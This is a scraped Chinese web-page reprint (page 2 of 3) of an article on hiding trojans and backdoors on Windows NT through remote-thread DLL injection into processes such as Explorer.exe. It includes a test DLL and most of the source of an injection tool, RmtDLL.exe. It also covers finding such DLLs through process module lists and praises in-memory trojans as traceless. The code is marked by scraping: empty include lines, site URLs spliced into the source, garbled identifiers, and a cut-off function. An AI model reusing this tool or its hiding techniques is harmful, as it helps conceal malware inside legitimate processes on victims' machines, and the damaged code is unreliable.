您当前的位置:五五电子网电子知识单片机-工控设备嵌入式系统-技术木马/后门程序在WINNT中进程隐藏和查找的方法 正文
木马/后门程序在WINNT中进程隐藏和查找的方法

木马/后门程序在WINNT中进程隐藏和查找的方法

点击数:7377 次   录入时间:03-04 11:44:39   整理:http://www.55dianzi.com   嵌入式系统-技术

  0, NULL);

  至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL,这个DLL什么都不做,仅仅返回所在进程的PID:

  BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)

  { char * szProcessId = (char *)malloc(10*sizeof(char));

  switch (reason){

  case DLL_PROCESS_ATTACH:{

  //获取并显示当前进程ID

  _itoa(GetCurrentProcessId(), szProcessId, 10);

  MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

  }

  default:

  return TRUE;

  }

  }

  当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。(木马已经成为Explorer.exe的一部分)

  DLL木马的查找:查找DLL木马的基本思路是扩展进程列表至内存模块列表,内存模块列表将显示每个进程目前加载/调用的所有DLL文件,通过这种方法,我们能发现异常的DLL文件(前提是你对所有进程需要调用的模块都很熟悉,天哪,这几乎是没有可能的事,要知道随便哪个进程都会调用十七八个DLL文件,而Windows更是由数以千计的DLL所组成的,谁能知道哪个有用哪个没用?)对此,我写了一个内存模块查看软件,在http://www.patching.net/shotgun/ps.zip可以下载,该软件使用PSAPI,如果是NT4.0,需要PSAPI.dll的支持,所以我把PSAPI.dll也放在了压缩包里。

  进一步想想,用远程线程技术启动木马DLL还是比较有迹可寻的,如果事先将一段代码复制进远程进程的内存空间,然后通过远程线程起动这段代码,那么,即使遍历进程内存模块也无济于事;或者远程线程切入某个原本就需要进行SOCKET操作的进程(如iExplorer.exe),对函数调用或数据进行某些有针对的修改……这样的木马并不需要自己打开端口,代码也只是存在于内存中,可以说如羚羊挂角,无迹可寻。

  无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。

  这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算机,甚至进入了用户进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特性,例如隐藏和寄生(和宿主同生共死),如果有一天,出现了具备所有病毒特性的木马(不是指蠕虫,而是传统意义上的寄生病毒),我想我并不会感到奇怪,倒会疑问这一天为什么这么迟才到来。

  附录:利用远程线程技术嵌入进程的模型源码:

  /////////////////////////////////////////////////////////////////////////////////////////////// //

  // Remote DLL For Win2K by Shotgun //

  // This Program CAN inject a DLL into Remote Process //

  // //

  // Released: [2001.4] //

  // Author: [Shotgun] //

  // Email: [Shotgun@Xici.Net] //

  // Homepage: //

  // [http://IT.Xici.Net] //

  // [http://WWW.Patching.Net] //

  // //

  // USAGE: //

  // RmtDLL.exe PID[|ProcessName] DLLFullPathName //

  // Example: //

  // RmtDLL.exe 1024 C:WINNTSystem32MyDLL.dll //

  // RmtDLL.exe Explorer.exe C:MyDLL.dll //

  // //

  ///////////////////////////////////////////////////////////////////////////////////////////////

  #include

www.55dianzi.com<windows.h>

  #include

  #include

  #include

  DWORD ProcessToPID( char *); //将进程名转换为PID的函数

  void CheckError ( int, int, char *); //出错处理函数

  void usage ( char *); //使用说明函数

  PDWORD pdwThreadId;

  HANDLE hRemoteThread, hRemoteProcess;

  DWORD fdwCreate, dwStackSize, dwRemoteProcessId;

  PWSTR pszLibFileRemote=NULL;

  void main(int argc,char **argv)

  {

  int iReturnCode;

  char lpDllFullPathName[MAX_PATH];

  WCHAR pszLibFileName[MAX_PATH]={0};

  //处理命令行参数

  if (argc!=3) usage("Parametes number incorrect!");

  else{

  //如果输入的是进程名,则转化为PID

  if(iSDIgit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);

  else dwRemoteProcessId = ProcessToPID(argv[1]);

  //判断输入的DLL文件名是否是绝对路径

  if(strstr(argv[2],":\")!=NULL)

  strncpy(argv[2], lpDllFullPathName, MAX_PATH);

  else

  { //取得当前目录,将相对路径转换成绝对路径

  iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);

  CheckError(iReturnCode, 0, "GetCurrentDirectory");

  strcat(lpDllFullPathName, "\");

  strcat(lpDllFullPathName, argv[2]);

  printf("Convert DLL filename to FullPathName:nt%snn",

  lpDllFullPathName);

  }

  //判断DLL文件是否存在

  iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);

  CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");

  //将DLL文件全路径的ANSI码转换成UNICODE码

  iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,

  lpDllFullPathName, strlen(lpDllFullPathName),

  pszLibFileName, MAX_PATH);

  CheckError(iReturnCode, 0, "MultByteToWideChar");

  //输出最后的操作参数

  wprintf(L"Will inject %s", pszLibFileName);

  printf(" into process:%s PID=%dn", argv[1], dwRemoteProcessId);

  }

  //打开远程进程

  hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程

  PROCESS_VM_OPERATION | //允许VM操作

  PROCESS_VM_WRITE, //允许VM写

  FALSE, dwRemoteProcessId );

  CheckError( (int) hRemoteProcess, NULL,

  "Remote Process not Exist or ACCess Denied!");

  //计算DLL路径名需要的内存空间

  int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);

  pszLibFileRemote = (PWSTR) VirtualAlLOCEx( hRemoteProcess, NULL, cb,

  MEM_COMMIT, PAGE_READWRITE);

  CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");

  //将DLL的路径名复制到远程进程的内存空间

  iReturnCode = WriteProcessMemory(hRemoteProcess,

  pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

  CheckError(iReturnCode, false, "WriteProcessMemory");

  //计算LoadLibraryW的入口地址

  PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

  GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

  CheckError((int)pfnStartAddr, NULL, "GetProcAddress");

  //启动远程线程,通过远程线程调用用户的DLL文件

  hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);

  CheckError((int)hRemoteThread, NULL, "Create Remote Thread");

  //等待远程线程退出

  WaitForSingleObject(hRemoteThread, INFINITE);

  //清场处理

  if (pszLibFileRemote != NULL)

  VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

  if (hRemoteThread != NULL) CloseHandle(hRemoteThread );

  if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);

  }//end of main()

  //将进程名转换为PID的函数

  DWORD ProcessToPID(char *InputProcessName)

  {

  DWORD aProcesses[1024], cbNeeded, cProcesses;

  unsigned int i;

  HANDLE hProcess;

  HMODULE hMod;

  char szProcessName[MAX_PATH] = "UnknownProcess";

www.55dianzi.com

  // 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs

  if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 0;

  cProcesses = cbNeeded / sizeof(DWORD);

  // 按有效的PID遍历所有的进程

  for ( i = 0; i < cProcesses; i++ )

  {

  // 打开特定PID的进程

  hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |

上一页  [1] [2] [3]  下一页


本文关键字:程序  嵌入式系统-技术单片机-工控设备 - 嵌入式系统-技术

《木马/后门程序在WINNT中进程隐藏和查找的方法》相关文章>>>